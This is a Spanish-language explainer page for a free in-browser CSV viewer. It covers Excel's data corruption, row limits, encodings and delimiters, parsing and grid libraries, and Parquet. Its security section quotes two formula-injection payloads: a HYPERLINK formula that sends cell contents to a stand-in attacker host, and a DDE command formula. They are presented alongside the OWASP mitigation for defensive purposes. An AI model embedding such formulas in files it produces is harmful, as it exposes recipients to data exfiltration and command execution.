Visor de CSV gratuito

Por qué "ver un CSV sin Excel" es un caso de uso propio

La respuesta ingenua a "¿cómo abro un CSV?" es "haz doble clic, lo abre Excel". Esa respuesta es errónea para una proporción sorprendentemente alta de quienes realmente necesitan mirar un CSV. Los motivos se reparten en cuatro categorías, y cada una es razón real para aterrizar en un visor basado en navegador como este.

1. Excel destruye datos al abrir. El ejemplo más citado es el desastre de los nombres de genes: Excel lee MARCH1 y escribe 1-Mar, lee SEPT2 y escribe 2-Sep. El HUGO Gene Nomenclature Committee renunció a luchar contra Excel y renombró veintisiete genes humanos en 2020 porque la corrupción de datos era omnipresente. Un artículo de PLOS Computational Biology de 2020 sobre 3.597 publicaciones encontró que aproximadamente una quinta parte de los datos genéticos suplementarios había sido silenciosamente alterada por la autoconversión de Excel. Los genes son el caso famoso pero el mismo mecanismo se come los códigos postales de EE. UU. (01234 pasa a 1234), los SKU de producto con ceros iniciales, la notación de fracciones en música o química (3/4, 4/4), los números de serie con forma de fechas (1-1, 2-2), las extensiones telefónicas y los números de cuenta en notación científica (9.18e+12 en vez de 9180000000000). Un visor, algo que muestra los bytes en bruto tal y como están escritos, no es solo una comodidad, es una primitiva de corrección. Si hay que verificar que una columna de IDs de clientes ha sobrevivido intacta a una exportación, hace falta un visor que no analiza, no convierte y no "ayuda".

2. Excel no está en la máquina. Una proporción nada despreciable de los portátiles en 2026 no tiene licencia de Microsoft 365. Los Chromebooks salen sin él; muchas instalaciones de Linux usan LibreOffice Calc con sus propias rarezas; muchos usuarios de Mac abren los CSV en Apple Numbers, que ajusta silenciosamente las líneas largas y tiene su propia personalidad de coerción numérica. Cualquiera que intente inspeccionar un archivo en una máquina corporativa sin permiso para instalar software, en un dispositivo prestado o en un kiosko necesita una herramienta que se ejecute en cualquier pestaña de navegador sin permisos.

3. El archivo supera lo que Excel permite. Excel 2007 introdujo el .xlsx y elevó el techo de filas de las 65.536 (.xls) a 1.048.576 filas (2²⁰). El techo de columnas pasó de 256 a 16.384 (2¹⁴). Durante dos décadas fue suficiente para la mayoría. Ya no lo es para muchos. Un log de servidor modesto puede producir dos millones de filas en una semana. Una exportación de Shopify de un año de pedidos para una tienda mediana puede pasar del millón. Un sensor muestreando a 1 Hz produce 86.400 filas al día; un año son 31,5 millones. La gestión del desbordamiento por parte de Excel es brutal: trunca silenciosamente en la fila 1.048.576 y continúa como si nada. No hay aviso. El usuario descubre las filas que faltan semanas más tarde, si llega a hacerlo.

4. Móvil. Las aplicaciones de hoja de cálculo en iOS y Android son ciudadanas de segunda. La app móvil de Excel existe pero está restringida tras una cuenta Microsoft, ofrece un subconjunto pequeño de funciones de escritorio y es incómoda para inspeccionar tablas anchas en el teléfono. A veces solo necesitas abrir un adjunto que un colega envió por correo, mirar un par de filas, hacer una captura y responder. Un visor de CSV que se carga en un navegador móvil, formatea los datos como una tabla HTML desplazable y no hace nada más es la mejor herramienta para esa tarea.

Y un quinto caso, más pequeño: captura de pantalla para un mensaje. A menudo lo que la persona realmente quiere es un visual limpio de tres o cuatro filas que pueda pegar en Slack, en un ticket o en una respuesta de correo. Abrir el archivo en Excel y capturarlo produce una imagen con cinta de opciones, cuadrícula, selector de celda activa y barra de ruta de archivo, el veinte por ciento de la captura ocupada por el cromo de Excel. Una tabla HTML pelada renderizada en un navegador es el sujeto de captura más limpio posible.

Una breve historia (las partes que importan al visor)

La historia completa del CSV está en la página complementaria text-to-csv: Fortran de IBM 1972, décadas de uso informal, la RFC 4180 publicada por fin en octubre de 2005 por Yakov Shafranovich, el tipo MIME text/csv registrado en IANA, el W3C Model for Tabular Data and Metadata on the Web (CSVW) alcanzando estatus de W3C Recommendation el 17 de diciembre de 2015 (y siendo en la práctica ignorado). Lo que importa para la visualización es que ninguno de esos documentos especifica cómo mostrar un CSV. No hay anchura de columna canónica, ni convención de alineación, ni regla sobre si la fila 1 es cabecera. La RFC 4180 le dice al que escribe cómo escapar las comas; no le dice al que lee nada sobre cómo renderizar. El trabajo del visor no está especificado.

Lo que tenemos son convenciones surgidas en los tabladores (texto alineado a la izquierda, números a la derecha, primera fila fijada, colores alternos de fila para legibilidad) y convenciones de las tablas web (cabeceras ordenables, posición sticky, campos de búsqueda sobre la cuadrícula). Un visor moderno de CSV es esencialmente una UI de tablador sin la edición.

Las trampas del separador de locale y del BOM

El caos del separador de locale que muerde a quien escribe CSV también muerde a quien los lee: coma en en-US, punto y coma en fr-FR / de-DE / it-IT / es-ES / pt-BR, tabulación y pipe en otras partes. Un visor que codifica la coma en duro y renderiza un "CSV" francés como una sola columna por fila está roto desde el principio. El valor por defecto "Auto-detección" con override manual de esta herramienta es el diseño correcto: intentar lo inteligente, pero cuando la heurística falla (y fallará, en archivos con una sola columna cuyos valores contienen una coma), el usuario puede elegir.

El byte-order mark, los tres bytes EF BB BF al inicio de un archivo UTF-8, codificando U+FEFF, existe porque Excel en Windows se niega a detectar UTF-8 sin él. Un escritor de CSV educado antepone el BOM para ser Excel-friendly; el coste cae sobre todos los demás lectores. Casi toda herramienta de línea de comandos, awk, cut, head, tail, los sed antiguos, trata el BOM como parte del primer campo. Una cabecera que debería leerse name se lee name. El módulo csv integrado de Python no elimina el BOM salvo que el archivo se abra con el códec utf-8-sig; un millón de tutoriales usan un simple utf-8 y producen silenciosamente parsers rotos. Si ves un carácter extraño antes de tu primera cabecera, es un byte-order mark UTF-8, no un bug del archivo, solo un desajuste entre codificador y decodificador.

Las cuatro variantes "CSV" de Excel

El diálogo Guardar como de Excel ofrece cuatro formatos "CSV", y las etiquetas son engañosas. Las etiquetas "Comma delimited" usan en realidad el separador de lista del locale del usuario, que es un punto y coma en la mayor parte de la Europa continental y América Latina.

• CSV (Comma delimited): usa el separador de lista del locale del usuario, página de códigos ANSI, sin BOM, CRLF.
• CSV UTF-8 (Comma delimited): añadido en Excel 2016, el único de los cuatro que usa UTF-8 (con BOM).
• CSV (Macintosh): codificación MacRoman, finales de línea CR sueltas del Mac clásico, en gran medida obsoleto pero aún apareciendo.
• CSV (MS-DOS): página de códigos OEM (CP437 en en-US, CP850 en Europa Occidental).

Un visor que quiera "funcionar siempre" en todas las variantes tiene que detectar la codificación (UTF-8 ± BOM, UTF-16 con BOM, Windows-1252, ISO-8859-1, MacRoman, Shift_JIS, GBK), los fines de línea (CRLF / LF / CR), el separador (coma / punto y coma / tabulación / pipe / personalizado), el estilo de entrecomillado (RFC 4180 con doble comilla, barra invertida, ninguno) y la presencia de cabecera. Detectar todo eso de forma fiable es genuinamente difícil. El enfoque pragmático: detecta lo que puedas, expón overrides manuales para el resto y no falles nunca en silencio. Esta herramienta expone el delimitador manualmente, lo que cubre la sorpresa más común. No expone aún la codificación, un CSV francés exportado como Windows-1252 con acentos mostrará mojibake (é en vez de é) hasta que también haya un override apropiado.

El parsing en navegador, las bibliotecas

La biblioteca CSV cliente dominante es PapaParse, creada por Matt Holt en 2013 y con unas 13,4k estrellas en GitHub. Su lema, "the fastest in-browser CSV parser", no es hipérbole. Cumple la RFC 4180, está bajo licencia MIT, sin dependencias, y soporta parsing síncrono de cadenas, parsing asíncrono de archivos vía FileReader, parsing por trozos para archivos mayores que la RAM y parsing en hilo worker para mantener la UI receptiva. PapaParse es la opción por defecto en cualquier herramienta CSV en navegador salvo que haya una razón concreta para no usarla.

En Node, la opción canónica es csv-parse (Adaltas, primera versión en 2010), probado en producción, expone APIs basadas en callbacks y en streams. csv-parser de mafintosh prioriza el rendimiento bruto sobre la amplitud de funciones. fast-csv (C2FO) es un dúo parser-formateador construido en TypeScript para equipos que quieren lectura y escritura en la misma biblioteca.

Streaming para archivos más grandes que la RAM

La lectura ingenua de CSV en el navegador usa FileReader.readAsText(file), que lee el archivo entero en memoria antes de invocar onload. Para un archivo de cien megabytes, son cien megabytes de heap de JavaScript. Para uno de un gigabyte, la pestaña del navegador se queda sin memoria o se atasca en la mayoría del hardware de consumo.

La alternativa moderna es la Streams API, disponible como File.prototype.stream() desde Chrome 71 y Firefox 65. Llamar a file.stream() devuelve un ReadableStream<Uint8Array> que entrega los bytes del archivo en trozos. El consumidor lee del stream, decodifica cada trozo con TextDecoder (con la opción stream: true para que las secuencias UTF-8 multibyte que cruzan fronteras de trozo se cosan correctamente) y alimenta el texto a un parser en stream. PapaParse puede consumir un stream directamente con su callback step o chunk. El resultado es parsing con memoria constante de archivos arbitrariamente grandes.

Para un visor, el streaming por sí solo no basta, la tabla renderizada también tiene que virtualizarse, si no, renderizar diez millones de <tr> rompe la página aunque el parsing haya ido bien. El patrón estándar: stream-parse a IndexedDB al cargar, render virtualizado desde IndexedDB al hacer scroll. Esta herramienta está actualmente optimizada para archivos en las decenas bajas de megabytes, para el flujo típico "solo quiero ver este archivo" que cubre a casi todo el mundo. Para CSV de varios gigabytes, mira herramientas de escritorio como Visidata, la cláusula FROM del CLI de DuckDB o el csvlook de csvkit.

Ordenar, filtrar, pivotar, el panorama de las grids JavaScript

Una vez los datos están en la página, el usuario quiere hacer tres cosas: ordenar por columna, filtrar filas, a veces pivotar. Hay toda una industria de bibliotecas JavaScript que reimplementan esto en el DOM del navegador:

• DataTables.js de Allan Jardine (trabajos iniciados en 2008, SpryMedia constituida en 2011) es el decano. Toma cualquier <table> HTML y obtén cabeceras ordenables, búsqueda instantánea, paginación y controles de mostrar/ocultar columnas. Originalmente basado en jQuery; funciona muy bien como plug-in. Cómodo hasta decenas de miles de filas; para cientos de miles la paginación se vuelve portante.
• AG Grid de Niall Crosby (2015, nacido de la frustración de Crosby con las grids en las salas de trading de Londres) es el peso pesado. Construida sobre virtualización DOM, solo las filas visibles en el viewport se renderizan, así puede mostrar cómodamente un millón de filas con una sola barra de scroll. Community Edition gratis (MIT) más Enterprise Edition de pago (tablas dinámicas, filtros avanzados, gráficos integrados, modelos de filas en servidor). Elección por defecto para "estoy construyendo una herramienta de datos seria que tiene que parecerse a Excel en el navegador".
• Tabulator de Oli Folkerd es la alternativa moderna sin dependencias. La versión 4.0 (2018) se desprendió de todas las dependencias, incluido jQuery; se sitúa en el sweet spot entre "DataTables es demasiado jQuery" y "AG Grid es demasiado".

Para pivotar específicamente, PivotTable.js de Nicolas Kruchten es la biblioteca JS más citada; el modo pivot de AG Grid Enterprise es la elección comercial. Pivotar es una operación pesada que suele ir mejor exportando los datos a una herramienta que pueda indexarlos primero.

CSV vs Apache Parquet para cargas analíticas

La razón por la que el CSV sobrevive es cultural e inercial, no técnica. Para analítica seria, el formato que se ha comido el almuerzo del CSV es Apache Parquet, un formato columnar binario desarrollado conjuntamente por ingenieros de Twitter y Cloudera en 2013, aceptado como proyecto top-level de la Apache Software Foundation el 27 de abril de 2015. Parquet almacena los datos columna a columna en vez de fila a fila, esa inversión es la que importa para la analítica: una consulta como SELECT AVG(price) FROM big_table solo lee la columna price del disco, saltando todo el resto. Con CSV, la misma consulta tiene que leer cada byte del archivo.

Parquet también lleva metadatos de esquema (los tipos son explícitos, no inferidos), usa compresión columnar que logra ratios de 5-10x sobre CSV sin comprimir y soporta predicate pushdown para que los motores se salten grupos de filas enteros con base en estadísticas de columna. Es el formato por defecto en Snowflake, BigQuery, Databricks, Amazon Athena y prácticamente todo lakehouse y data warehouse cloud moderno. Si consultas repetidamente el mismo archivo a escala de gigabytes, considera Parquet, es más rápido y más pequeño y casi toda herramienta de datos moderna lo lee de forma nativa. El CSV se entiende hoy mejor como el formato de intercambio entre humanos y la larga cola de software de consumo, mientras que Parquet es el formato de almacenamiento entre máquinas.

Inyección CSV, el ángulo de seguridad

La inyección CSV, a veces llamada inyección de fórmula, es el ataque en el que un valor de una celda CSV comienza con =, +, - o @, lo que hace que Excel y Google Sheets lo interpreten como una fórmula al abrir el archivo. OWASP la documenta desde al menos 2014. El ejemplo manual es =2+5 mostrándose como 7 en vez del texto literal. El ejemplo peligroso es =HYPERLINK("https://evil.example/log?d="&A1, "Click for results") que, al hacer clic, exfiltra el contenido de la celda A1 a un atacante. El ejemplo realmente peligroso fue =cmd|'/c calc'!A0, que en ciertas versiones de Excel podía lanzar comandos arbitrarios vía DDE, sustancialmente mitigado por los cambios DDE por defecto de Microsoft en 2018, pero aún presente en algunas configuraciones.

La mitigación estándar, según la guía OWASP: al generar un CSV a partir de texto enviado por el usuario, antepón una comilla simple a cualquier celda que empiece por =, +, -, @, tabulación o retorno de carro. Un visor es el extremo receptor de este ataque, no el emisor, pero si abres aquí un CSV con celdas prefijadas con fórmula, esa es una pista fuerte de no abrir el mismo archivo en Excel sin reemplazar antes esas celdas. Todo el sentido de inspeccionar primero en un visor es atrapar exactamente este tipo de trampa.

Dónde, en la vida real, la gente abre este tipo de visor

• CSV de extractos bancarios o fintech. La mayoría de bancos minoristas dejan a sus clientes descargar un año de historial de transacciones en CSV. Los clientes quieren mirar el archivo antes de importarlo a una app de presupuesto, una herramienta fiscal o la hoja de un contador: verificar el rango de fechas, contar transacciones, buscar un comercio concreto.
• Exportaciones de datos IoT y sensores. CSV de estación meteorológica, log de sensor de humedad del suelo, exportación de contador eléctrico doméstico. A menudo decenas de miles de filas. El usuario confirma que el muestreo se mantuvo en un intervalo concreto y no hay huecos.
• Volcados de logs de servidor. Apache combined log format convertido a CSV, registros de syslog exportados con logger -t, logs de aplicación enviados a S3 y descargados para inspección.
• Exportaciones CRM y SaaS. Exportación de Account de Salesforce, contactos de HubSpot, clientes de Stripe, audiencia de Mailchimp, pedidos de Shopify, base de Notion. Cada plataforma SaaS tiene su propio formato CSV y sus rarezas. El usuario inspecciona antes de editar en masa, antes de reimportar o antes de pasar el archivo a un colega.
• Respuestas de encuesta. Google Forms, SurveyMonkey, Typeform, Qualtrics, todos exportan en CSV por defecto. Los investigadores quieren mirar las respuestas abiertas, hacerse una idea de la distribución y verificar que no haya ninguna vacía.
• Descargas de datos públicos. Portales de datos abiertos gubernamentales (data.gov, data.gov.uk, EU Open Data Portal), exportaciones de Wikipedia, repositorios de datos científicos. CSV es el denominador universal.
• Preparación de importación masiva. El usuario ha montado un CSV a mano o con otra herramienta y quiere verificar que está bien formado antes de subirlo a un sistema que rechazará silenciosamente las filas mal formadas. El visor es la simulación previa.
• Herencia. Un colega ha enviado un CSV. El usuario no sabe qué hay dentro. Quiere echarle un vistazo antes de decidir si se sumerge en él.

Más preguntas

¿De qué tamaño puede ser el archivo a abrir?

La implementación actual va cómoda con archivos en las decenas bajas de megabytes, los que entran fácil en memoria del navegador y se renderizan como una tabla HTML razonable. Para archivos de cientos de megabytes o más, la página irá lenta; para archivos en gigabytes, la pestaña puede quedarse sin memoria y caer. Para CSV muy grandes, mira herramientas de escritorio como Visidata, el csvlook de csvkit o el FROM 'file.csv' del CLI de DuckDB.

¿Por qué mi CSV aparece como una sola columna gigante?

La detección automática del delimitador falló. Es lo más común cuando el archivo usa puntos y coma (la mayor parte de Europa continental), tabulaciones (TSV mal etiquetado como CSV) o pipes (algunas exportaciones de bases de datos). Cambia el desplegable de Delimitador al carácter correcto, a menudo la extensión y el contenido real no concuerdan.

Mis caracteres acentuados se ven como basura. ¿Qué pasa?

Desajuste de codificación, el archivo está en Windows-1252 (u otra codificación no UTF-8) y la herramienta lo interpreta como UTF-8. El síntoma clásico es ver é como é. El visor actual no expone override de codificación, pero puedes volver a guardar el archivo como UTF-8 en cualquier editor moderno (Notepad++, VS Code, BBEdit, gedit, incluso Notepad reciente en Windows) y volver a abrirlo aquí.

¿Debo usar esto o simplemente abrirlo en Excel?

Si tu CSV solo contiene datos que Excel no puede corromper por accidente, columnas de texto en prosa, enteros normales en rango común, fechas en el formato que Excel espera, Excel está bien y sus herramientas de edición son más ricas. Si tu CSV contiene algo que Excel podría reescribir (nombres de genes, códigos postales con ceros iniciales, fracciones como 3/4, cadenas con forma de notación científica, cualquier cosa que necesites conservar byte a byte), ábrelo primero en un visor para confirmar lo que hay antes de dejar que Excel lo toque. La hora que pasas abriéndolo aquí cuesta mucho menos que descubrir una semana después que Excel ha renombrado tu conjunto de genes.